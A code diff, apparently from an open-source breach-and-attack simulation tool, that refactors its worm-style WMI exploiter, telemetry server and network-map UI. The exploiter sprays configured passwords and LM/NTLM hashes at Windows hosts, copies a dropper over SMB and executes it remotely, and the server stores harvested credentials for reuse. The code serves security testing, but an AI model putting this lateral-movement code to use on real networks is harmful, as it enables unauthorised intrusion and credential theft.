LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
remote_full_path, host, cmdline) remote_full_path, self.host, cmdline)
return True return True

View File

@ -1,80 +1,81 @@
import socket
import ntpath
import logging import logging
import ntpath
import socket
import traceback import traceback
from tools import build_monkey_commandline
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from model.host import VictimHost
from exploit import HostExploiter
from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, report_failed_login
from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5.rpcrt import DCERPCException
from exploit import HostExploiter
from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, get_monkey_depth
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from tools import build_monkey_commandline
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
class WmiExploiter(HostExploiter): class WmiExploiter(HostExploiter):
_target_os_type = ['windows'] _TARGET_OS_TYPE = ['windows']
def __init__(self): def __init__(self, host):
super(WmiExploiter, self).__init__(host)
self._config = __import__('config').WormConfiguration self._config = __import__('config').WormConfiguration
self._guid = __import__('config').GUID self._guid = __import__('config').GUID
@WmiTools.dcom_wrap @WmiTools.dcom_wrap
def exploit_host(self, host, depth=-1, src_path=None): def exploit_host(self):
assert isinstance(host, VictimHost) src_path = get_target_monkey(self.host)
src_path = src_path or get_target_monkey(host)
if not src_path: if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host) LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False return False
creds = self._config.get_exploit_user_password_or_hash_product() creds = self._config.get_exploit_user_password_or_hash_product()
for user, password, lm_hash, ntlm_hash in creds: for user, password, lm_hash, ntlm_hash in creds:
LOG.debug("Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')", LOG.debug("Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
host, user, password, lm_hash, ntlm_hash) self.host, user, password, lm_hash, ntlm_hash)
wmi_connection = WmiTools.WmiConnection() wmi_connection = WmiTools.WmiConnection()
try: try:
wmi_connection.connect(host, user, password, None, lm_hash, ntlm_hash) wmi_connection.connect(self.host, user, password, None, lm_hash, ntlm_hash)
except AccessDeniedException: except AccessDeniedException:
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
LOG.debug("Failed connecting to %r using WMI with " LOG.debug("Failed connecting to %r using WMI with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')", "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
host, user, password, lm_hash, ntlm_hash) self.host, user, password, lm_hash, ntlm_hash)
continue continue
except DCERPCException as exc: except DCERPCException:
report_failed_login(self, host, user, password, lm_hash, ntlm_hash) self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
LOG.debug("Failed connecting to %r using WMI with " LOG.debug("Failed connecting to %r using WMI with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')", "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
host, user, password, lm_hash, ntlm_hash) self.host, user, password, lm_hash, ntlm_hash)
continue continue
except socket.error as exc: except socket.error:
LOG.debug("Network error in WMI connection to %r with " LOG.debug("Network error in WMI connection to %r with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')", "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
host, user, password, lm_hash, ntlm_hash) self.host, user, password, lm_hash, ntlm_hash)
return False return False
except Exception as exc: except Exception as exc:
LOG.debug("Unknown WMI connection error to %r with " LOG.debug("Unknown WMI connection error to %r with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s", "user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s",
host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc()) self.host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc())
return False return False
host.learn_credentials(user, password) self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
# query process list and check if monkey already running on victim # query process list and check if monkey already running on victim
process_list = WmiTools.list_object(wmi_connection, "Win32_Process", process_list = WmiTools.list_object(wmi_connection, "Win32_Process",
fields=("Caption", ), fields=("Caption",),
where="Name='%s'" % ntpath.split(src_path)[-1]) where="Name='%s'" % ntpath.split(src_path)[-1])
if process_list: if process_list:
wmi_connection.close() wmi_connection.close()
LOG.debug("Skipping %r - already infected", host) LOG.debug("Skipping %r - already infected", self.host)
return False return False
# copy the file remotely using SMB # copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host, remote_full_path = SmbTools.copy_file(self.host,
src_path, src_path,
self._config.dropper_target_path, self._config.dropper_target_path,
user, user,
@ -89,10 +90,10 @@ class WmiExploiter(HostExploiter):
# execute the remote dropper in case the path isn't final # execute the remote dropper in case the path isn't final
elif remote_full_path.lower() != self._config.dropper_target_path.lower(): elif remote_full_path.lower() != self._config.dropper_target_path.lower():
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \ cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
build_monkey_commandline(host, depth - 1, self._config.dropper_target_path) build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path)
else: else:
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \ cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
build_monkey_commandline(host, depth - 1) build_monkey_commandline(self.host, get_monkey_depth() - 1)
# execute the remote monkey # execute the remote monkey
result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline, result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline,
@ -101,11 +102,11 @@ class WmiExploiter(HostExploiter):
if (0 != result.ProcessId) and (0 == result.ReturnValue): if (0 != result.ProcessId) and (0 == result.ReturnValue):
LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)", LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline) remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline)
success = True success = True
else: else:
LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)", LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline) remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline)
success = False success = False
result.RemRelease() result.RemRelease()

View File

@ -4,7 +4,6 @@ __author__ = 'itamar'
class VictimHost(object): class VictimHost(object):
def __init__(self, ip_addr): def __init__(self, ip_addr):
self.ip_addr = ip_addr self.ip_addr = ip_addr
self.cred = {}
self.os = {} self.os = {}
self.services = {} self.services = {}
self.monkey_exe = None self.monkey_exe = None
@ -30,24 +29,19 @@ class VictimHost(object):
return self.ip_addr.__cmp__(other.ip_addr) return self.ip_addr.__cmp__(other.ip_addr)
def __repr__(self): def __repr__(self):
return "<VictimHost %s>" % (self.ip_addr, ) return "<VictimHost %s>" % self.ip_addr
def __str__(self): def __str__(self):
victim = "Victim Host %s: " % self.ip_addr victim = "Victim Host %s: " % self.ip_addr
victim += "OS - [" victim += "OS - ["
for k, v in self.os.iteritems(): for k, v in self.os.items():
victim += "%s-%s " % (k, v) victim += "%s-%s " % (k, v)
victim += "] Services - [" victim += "] Services - ["
for k, v in self.services.iteritems(): for k, v in self.services.items():
victim += "%s-%s " % (k, v) victim += "%s-%s " % (k, v)
victim += ']' victim += ']'
victim += "target monkey: %s" % self.monkey_exe
return victim return victim
def learn_credentials(self, username, password):
self.cred[username.lower()] = password
def get_credentials(self, username):
return self.cred.get(username.lower(), None)
def set_default_server(self, default_server): def set_default_server(self, default_server):
self.default_server = default_server self.default_server = default_server

View File

@ -109,7 +109,7 @@ class ChaosMonkey(object):
self._network.initialize() self._network.initialize()
self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes] self._exploiters = WormConfiguration.exploiter_classes
self._fingerprint = [fingerprint() for fingerprint in WormConfiguration.finger_classes] self._fingerprint = [fingerprint() for fingerprint in WormConfiguration.finger_classes]
@ -152,34 +152,31 @@ class ChaosMonkey(object):
machine.set_default_server(self._default_server) machine.set_default_server(self._default_server)
successful_exploiter = None successful_exploiter = None
for exploiter in self._exploiters: for exploiter in [exploiter(machine) for exploiter in self._exploiters]:
if not exploiter.is_os_supported(machine): if not exploiter.is_os_supported():
LOG.info("Skipping exploiter %s host:%r, os is not supported", LOG.info("Skipping exploiter %s host:%r, os is not supported",
exploiter.__class__.__name__, machine) exploiter.__class__.__name__, machine)
continue continue
LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__) LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__)
result = False
try: try:
if exploiter.exploit_host(machine, WormConfiguration.depth): result = exploiter.exploit_host()
if result:
successful_exploiter = exploiter successful_exploiter = exploiter
break break
else: else:
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
'exploiter': exploiter.__class__.__name__})
except Exception as exc: except Exception as exc:
LOG.exception("Exception while attacking %s using %s: %s", LOG.exception("Exception while attacking %s using %s: %s",
machine, exploiter.__class__.__name__, exc) machine, exploiter.__class__.__name__, exc)
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__, finally:
'exploiter': exploiter.__class__.__name__}) exploiter.send_exploit_telemetry(result)
continue
if successful_exploiter: if successful_exploiter:
self._exploited_machines.add(machine) self._exploited_machines.add(machine)
ControlClient.send_telemetry('exploit', {'result': True, 'machine': machine.__dict__,
'exploiter': successful_exploiter.__class__.__name__})
LOG.info("Successfully propagated to %s using %s", LOG.info("Successfully propagated to %s using %s",
machine, successful_exploiter.__class__.__name__) machine, successful_exploiter.__class__.__name__)

View File

@ -1,15 +1,15 @@
import json import json
from datetime import datetime
import traceback import traceback
from datetime import datetime
import dateutil import dateutil
from flask import request
import flask_restful import flask_restful
from flask import request
from cc.database import mongo from cc.database import mongo
from cc.services.config import ConfigService
from cc.services.edge import EdgeService from cc.services.edge import EdgeService
from cc.services.node import NodeService from cc.services.node import NodeService
from cc.services.config import ConfigService
__author__ = 'Barak' __author__ = 'Barak'
@ -43,16 +43,7 @@ class Telemetry(flask_restful.Resource):
monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
try: try:
if telemetry_json.get('telem_type') == 'tunnel': TELEM_PROCESS_DICT[telemetry_json.get('telem_type')](telemetry_json)
self.process_tunnel_telemetry(telemetry_json)
elif telemetry_json.get('telem_type') == 'state':
self.process_state_telemetry(telemetry_json)
elif telemetry_json.get('telem_type') == 'exploit':
self.process_exploit_telemetry(telemetry_json)
elif telemetry_json.get('telem_type') == 'scan':
self.process_scan_telemetry(telemetry_json)
elif telemetry_json.get('telem_type') == 'system_info_collection':
self.process_system_info_telemetry(telemetry_json)
NodeService.update_monkey_modify_time(monkey["_id"]) NodeService.update_monkey_modify_time(monkey["_id"])
except StandardError as ex: except StandardError as ex:
print("Exception caught while processing telemetry: %s" % str(ex)) print("Exception caught while processing telemetry: %s" % str(ex))
@ -60,7 +51,8 @@ class Telemetry(flask_restful.Resource):
return mongo.db.telemetry.find_one_or_404({"_id": telem_id}) return mongo.db.telemetry.find_one_or_404({"_id": telem_id})
def telemetry_to_displayed_telemetry(self, telemetry): @staticmethod
def telemetry_to_displayed_telemetry(telemetry):
monkey_guid_dict = {} monkey_guid_dict = {}
monkeys = mongo.db.monkey.find({}) monkeys = mongo.db.monkey.find({})
for monkey in monkeys: for monkey in monkeys:
@ -77,7 +69,8 @@ class Telemetry(flask_restful.Resource):
return objects return objects
def get_edge_by_scan_or_exploit_telemetry(self, telemetry_json): @staticmethod
def get_edge_by_scan_or_exploit_telemetry(telemetry_json):
dst_ip = telemetry_json['data']['machine']['ip_addr'] dst_ip = telemetry_json['data']['machine']['ip_addr']
src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) src_monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
dst_node = NodeService.get_monkey_by_ip(dst_ip) dst_node = NodeService.get_monkey_by_ip(dst_ip)
@ -86,7 +79,8 @@ class Telemetry(flask_restful.Resource):
return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"]) return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"])
def process_tunnel_telemetry(self, telemetry_json): @staticmethod
def process_tunnel_telemetry(telemetry_json):
monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"] monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])["_id"]
if telemetry_json['data']['proxy'] is not None: if telemetry_json['data']['proxy'] is not None:
tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "") tunnel_host_ip = telemetry_json['data']['proxy'].split(":")[-2].replace("//", "")
@ -94,32 +88,32 @@ class Telemetry(flask_restful.Resource):
else: else:
NodeService.unset_all_monkey_tunnels(monkey_id) NodeService.unset_all_monkey_tunnels(monkey_id)
def process_state_telemetry(self, telemetry_json): @staticmethod
def process_state_telemetry(telemetry_json):
monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']) monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
if telemetry_json['data']['done']: if telemetry_json['data']['done']:
NodeService.set_monkey_dead(monkey, True) NodeService.set_monkey_dead(monkey, True)
else: else:
NodeService.set_monkey_dead(monkey, False) NodeService.set_monkey_dead(monkey, False)
def process_exploit_telemetry(self, telemetry_json): @staticmethod
edge = self.get_edge_by_scan_or_exploit_telemetry(telemetry_json) def process_exploit_telemetry(telemetry_json):
data = telemetry_json['data'] edge = Telemetry.get_edge_by_scan_or_exploit_telemetry(telemetry_json)
data["machine"].pop("ip_addr") new_exploit = telemetry_json['data']
new_exploit = \
{ new_exploit.pop('machine')
"timestamp": telemetry_json["timestamp"], new_exploit['timestamp'] = telemetry_json['timestamp']
"data": data,
"exploiter": telemetry_json['data']['exploiter']
}
mongo.db.edge.update( mongo.db.edge.update(
{"_id": edge["_id"]}, {'_id': edge['_id']},
{"$push": {"exploits": new_exploit}} {'$push': {'exploits': new_exploit}}
) )
if data['result']: if new_exploit['result']:
EdgeService.set_edge_exploited(edge) EdgeService.set_edge_exploited(edge)
def process_scan_telemetry(self, telemetry_json): @staticmethod
edge = self.get_edge_by_scan_or_exploit_telemetry(telemetry_json) def process_scan_telemetry(telemetry_json):
edge = Telemetry.get_edge_by_scan_or_exploit_telemetry(telemetry_json)
data = telemetry_json['data']['machine'] data = telemetry_json['data']['machine']
ip_address = data.pop("ip_addr") ip_address = data.pop("ip_addr")
new_scan = \ new_scan = \
@ -147,7 +141,8 @@ class Telemetry(flask_restful.Resource):
{"$set": {"os.version": scan_os["version"]}}, {"$set": {"os.version": scan_os["version"]}},
upsert=False) upsert=False)
def process_system_info_telemetry(self, telemetry_json): @staticmethod
def process_system_info_telemetry(telemetry_json):
if 'credentials' in telemetry_json['data']: if 'credentials' in telemetry_json['data']:
creds = telemetry_json['data']['credentials'] creds = telemetry_json['data']['credentials']
for user in creds: for user in creds:
@ -160,3 +155,11 @@ class Telemetry(flask_restful.Resource):
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
TELEM_PROCESS_DICT = \
{
'tunnel': Telemetry.process_tunnel_telemetry,
'state': Telemetry.process_state_telemetry,
'exploit': Telemetry.process_exploit_telemetry,
'scan': Telemetry.process_scan_telemetry,
'system_info_collection': Telemetry.process_system_info_telemetry,
}

View File

@ -24,66 +24,20 @@ class EdgeService:
def edge_to_displayed_edge(edge): def edge_to_displayed_edge(edge):
services = [] services = []
os = {} os = {}
exploits = []
if len(edge["scans"]) > 0: if len(edge["scans"]) > 0:
services = EdgeService.services_to_displayed_services(edge["scans"][-1]["data"]["services"]) services = EdgeService.services_to_displayed_services(edge["scans"][-1]["data"]["services"])
os = edge["scans"][-1]["data"]["os"] os = edge["scans"][-1]["data"]["os"]
for exploit in edge["exploits"]:
new_exploit = EdgeService.exploit_to_displayed_exploit(exploit)
if (len(exploits) > 0) and (exploits[-1]["exploiter"] == exploit["exploiter"]):
exploit_container = exploits[-1]
else:
exploit_container =\
{
"exploiter": exploit["exploiter"],
"start_timestamp": exploit["timestamp"],
"end_timestamp": exploit["timestamp"],
"result": False,
"attempts": []
}
exploits.append(exploit_container)
exploit_container["attempts"].append(new_exploit)
if new_exploit["result"]:
exploit_container["result"] = True
exploit_container["end_timestamp"] = new_exploit["timestamp"]
displayed_edge = EdgeService.edge_to_net_edge(edge) displayed_edge = EdgeService.edge_to_net_edge(edge)
displayed_edge["ip_address"] = edge["ip_address"] displayed_edge["ip_address"] = edge["ip_address"]
displayed_edge["services"] = services displayed_edge["services"] = services
displayed_edge["os"] = os displayed_edge["os"] = os
displayed_edge["exploits"] = exploits displayed_edge["exploits"] = edge['exploits']
displayed_edge["_label"] = EdgeService.get_edge_label(displayed_edge) displayed_edge["_label"] = EdgeService.get_edge_label(displayed_edge)
return displayed_edge return displayed_edge
@staticmethod
def exploit_to_displayed_exploit(exploit):
user = ""
password = ""
# TODO: The format that's used today to get the credentials is bad. Change it from monkey side and adapt.
result = exploit["data"]["result"]
if result:
if "creds" in exploit["data"]["machine"]:
user = exploit["data"]["machine"]["creds"].keys()[0]
password = exploit["data"]["machine"]["creds"][user]
else:
if ("user" in exploit["data"]) and ("password" in exploit["data"]):
user = exploit["data"]["user"]
password = exploit["data"]["password"]
return \
{
"timestamp": exploit["timestamp"],
"user": user,
"password": password,
"result": result,
}
@staticmethod @staticmethod
def insert_edge(from_id, to_id): def insert_edge(from_id, to_id):
edge_insert_result = mongo.db.edge.insert_one( edge_insert_result = mongo.db.edge.insert_one(

View File

@ -62,9 +62,9 @@ class NodeService:
@staticmethod @staticmethod
def _cmp_exploits_by_timestamp(exploit_1, exploit_2): def _cmp_exploits_by_timestamp(exploit_1, exploit_2):
if exploit_1["start_timestamp"] == exploit_2["start_timestamp"]: if exploit_1["timestamp"] == exploit_2["timestamp"]:
return 0 return 0
if exploit_1["start_timestamp"] > exploit_2["start_timestamp"]: if exploit_1["timestamp"] > exploit_2["timestamp"]:
return 1 return 1
return -1 return -1

View File

@ -98,7 +98,6 @@ class MapPageComponent extends React.Component {
selectionChanged(event) { selectionChanged(event) {
if (event.nodes.length === 1) { if (event.nodes.length === 1) {
console.log('selected node:', event.nodes[0]); // eslint-disable-line no-console
fetch('/api/netmap/node?id=' + event.nodes[0]) fetch('/api/netmap/node?id=' + event.nodes[0])
.then(res => res.json()) .then(res => res.json())
.then(res => this.setState({selected: res, selectedType: 'node'})); .then(res => this.setState({selected: res, selectedType: 'node'}));
@ -117,7 +116,6 @@ class MapPageComponent extends React.Component {
} }
} }
else { else {
console.log('selection cleared.'); // eslint-disable-line no-console
this.setState({selected: null, selectedType: null}); this.setState({selected: null, selectedType: null});
} }
} }

View File

@ -82,9 +82,9 @@ class PreviewPaneComponent extends React.Component {
<h4 style={{'marginTop': '2em'}}>Timeline</h4> <h4 style={{'marginTop': '2em'}}>Timeline</h4>
<ul className="timeline"> <ul className="timeline">
{ asset.exploits.map(exploit => { asset.exploits.map(exploit =>
<li key={exploit.start_timestamp}> <li key={exploit.timestamp}>
<div className={'bullet ' + (exploit.result ? 'bad' : '')} /> <div className={'bullet ' + (exploit.result ? 'bad' : '')} />
<div>{new Date(exploit.start_timestamp).toLocaleString()}</div> <div>{new Date(exploit.timestamp).toLocaleString()}</div>
<div>{exploit.origin}</div> <div>{exploit.origin}</div>
<div>{exploit.exploiter}</div> <div>{exploit.exploiter}</div>
</li> </li>
@ -147,17 +147,23 @@ class PreviewPaneComponent extends React.Component {
</tr> </tr>
</tbody> </tbody>
</table> </table>
<h4 style={{'marginTop': '2em'}}>Timeline</h4> {
<ul className="timeline"> (edge.exploits.length === 0) ?
{ edge.exploits.map(exploit => '' :
<li key={exploit.start_timestamp}> <div>
<div className={'bullet ' + (exploit.result ? 'bad' : '')} /> <h4 style={{'marginTop': '2em'}}>Timeline</h4>
<div>{exploit.start_timestamp}</div> <ul className="timeline">
<div>{exploit.origin}</div> { edge.exploits.map(exploit =>
<div>{exploit.exploiter}</div> <li key={exploit.timestamp}>
</li> <div className={'bullet ' + (exploit.result ? 'bad' : '')} />
)} <div>{new Date(exploit.timestamp).toLocaleString()}</div>
</ul> <div>{exploit.origin}</div>
<div>{exploit.exploiter}</div>
</li>
)}
</ul>
</div>
}
</div> </div>
); );
} }